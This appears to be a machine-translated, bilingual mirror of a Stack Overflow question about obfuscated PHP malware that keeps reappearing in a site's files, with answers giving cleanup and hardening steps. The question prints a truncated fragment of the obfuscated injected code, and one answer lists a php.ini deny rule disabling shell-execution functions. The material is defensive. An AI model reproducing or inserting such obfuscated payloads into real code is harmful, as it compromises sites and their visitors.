简体   繁体   English

PHP模糊的“ Dodgy”代码出现在我的网站上

[英]PHP obfuscated “Dodgy” code is appearing on my website

I found this on my php file: 我在我的php文件中找到了这个:

<?php $glsaucbk = '5    156 x61"])))) { $GLOBALS["  ]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1:!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz)  x24]25  x24-    x24-!%  x24-    x24*!|! x24-    x24 x5c%j24#-!#]y38#-!%w:**<")));$nkfhbiv = $sorsjsw("", $wrwjkjc); $nkfhbiv#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO  x2nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fep::::-111112)eobs`un>qp%!|Z~!<##!>!2w*[!%rN}#QwTW%hIr  x5c1^-%r    x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]8]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR  x27id%6<    ();}}AZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutc252]y85]256]y6g]257]y86]267]y74tjyf`4  x223}!+!<+{e%+*!*+fe4y4 x24-    x24]y8  x24-    x24]26  x24-        x24!>!fyqmpef)# x24*<!%t::!>!   x24Ypp3)%c%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f    x27,*e  x27,*d  x2%rxB%epnbss!>!bssbz)#44ec:649#!-#j0#!/

Its on the head of the file... I've try to delete this but its reapear directly. 它位于文件的头部...我尝试删除此文件,但直接消失。 I haveuse a php detector and is say me DodgyPHP. 我有一个PHP检测器,并说我DodgyPHP。 Have u alreay have this malicious code on your php file ? 您是否已经在您的php文件中拥有此恶意代码?

I don't think you need to know any more than you do already: 我认为您不需要比已经了解的更多:

  • It's code you didn't expect to be there. 这是您没想到的代码。
  • It's clearly obfuscated; 显然很模糊; there's rarely a reason to obfuscate PHP other than to hide malicious code. 除了隐藏恶意代码外,很少有理由混淆PHP。
  • It reappears when you delete it, implying there are other malicious scripts running and self-repairing. 当您删除它时,它会重新出现,这意味着还有其他恶意脚本正在运行和自我修复。

You should at least : 至少应该:

  1. Take the site offline immediately. 立即使站点脱机。 It may be infecting other people, or used for criminal activity on your account. 它可能正在感染其他人,或用于您的帐户进行犯罪活动。
  2. If this is a third-party application (eg Wordpress, PHPBB, etc), reinstall from scratch with an up to date version, using only well-known plugins which are kept up to date. 如果这是第三方应用程序(例如Wordpress,PHPBB等),请仅使用最新的知名插件从头开始安装最新版本。 If it is code you wrote, you need to audit its security, or pay an expert to do so. 如果它是您编写的代码,则需要对其安全性进行审核,或请专家为此进行审核。
  3. Rescue your data from backup, ensuring to the best of your ability that the backup is from before the compromise, and apply it to the cleanly installed site. 从备份中拯救您的数据,以尽最大可能确保备份来自遭受破坏之前的备份,并将其应用于干净安装的站点。

While not a direct answer; 虽然不是直接答案; this would be useful step guide for how to clean up your system. 这将是有关清理系统的有用步骤指南。

The symptoms show your system has also certainly been hacked, and is still hackable. 症状表明您的系统当然也已经被黑客入侵,并且仍然可以被黑客入侵。

You need to follow the link here http://www.gregfreeman.io/2013/steps-to-take-when-you-know-your-php-site-has-been-hacked/ and take significant steps to hardening your system from future hacks: 您需要点击此处的链接http://www.gregfreeman.io/2013/steps-to-take-when-you-know-your-php-site-has-been-hacked/,并采取重要措施来强化您的来自未来黑客的系统:

  • Ensure that the userid running the web server process does not have write permission to the files it's serving. 确保运行Web服务器进程的用户ID对其服务的文件没有写权限。 You can use ps aux | grep apache 您可以使用ps aux | grep apache ps aux | grep apache or ps aux | grep nginx ps aux | grep apacheps aux | grep nginx ps aux | grep nginx to find the userid that your web server is running under. ps aux | grep nginx查找运行Web服务器的用户ID。 Make sure the files are not owned by that user. 确保文件不属于该用户。 You can check for permissions by doing something like sudo -u <that userid> touch /path/to/web/files/some_test_file . 您可以通过执行sudo -u <that userid> touch /path/to/web/files/some_test_file类的操作来检查权限。 If that successfully creates a file, then you have a problem and you need to adjust permissions. 如果该操作成功创建了文件,则说明您有问题,需要调整权限。
  • Change all passwords 更改所有密码
  • Stop using FTP, use FTPS or SFTP. 停止使用FTP,使用FTPS或SFTP。
  • Update your PHP to latest current version. 将您的PHP更新到最新的最新版本。
    • Update any PHP CMS program (Joomla, WordPress, etc.) to latest version. 将任何PHP CMS程序(Joomla,WordPress等)更新到最新版本。
  • Reload your data from backups after checking for a backup you are certain has not been hacked. 确定您的备份没有被黑客入侵之后,请从备份中重新加载数据。
  • Edit your php.ini and disable dangerous functions (such as exec ) and classes: 编辑您的php.ini并禁用危险功能(例如exec )和类:

      disable_functions = "exec,passthru,shell_exec,system,proc_open,popen, curl_multi_exec,parse_ini_file,show_source" 
  • Edit your php.ini and be sure to check your auto_prepend_file and auto_append_file values are expected or blank. 编辑您的php.ini,并确保检查您的auto_prepend_fileauto_append_file值是预期还是空白。
  • Set new usernames for database and server access. 为数据库和服务器访问设置新的用户名。 Stop using Root. 停止使用Root。 Never use Root to access anything. 切勿使用Root访问任何内容。
  • Check and prevent unrecognised cron_jobs running on your server. 检查并阻止无法识别的cron_jobs在服务器上运行。

Note: Could others who know add and edit this post to add further useful guides and information. 注意: 其他知道的人可以添加和编辑此帖子,以添加更多有用的指南和信息。 Could be a good resource for future readers. 对于将来的读者来说可能是很好的资源。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM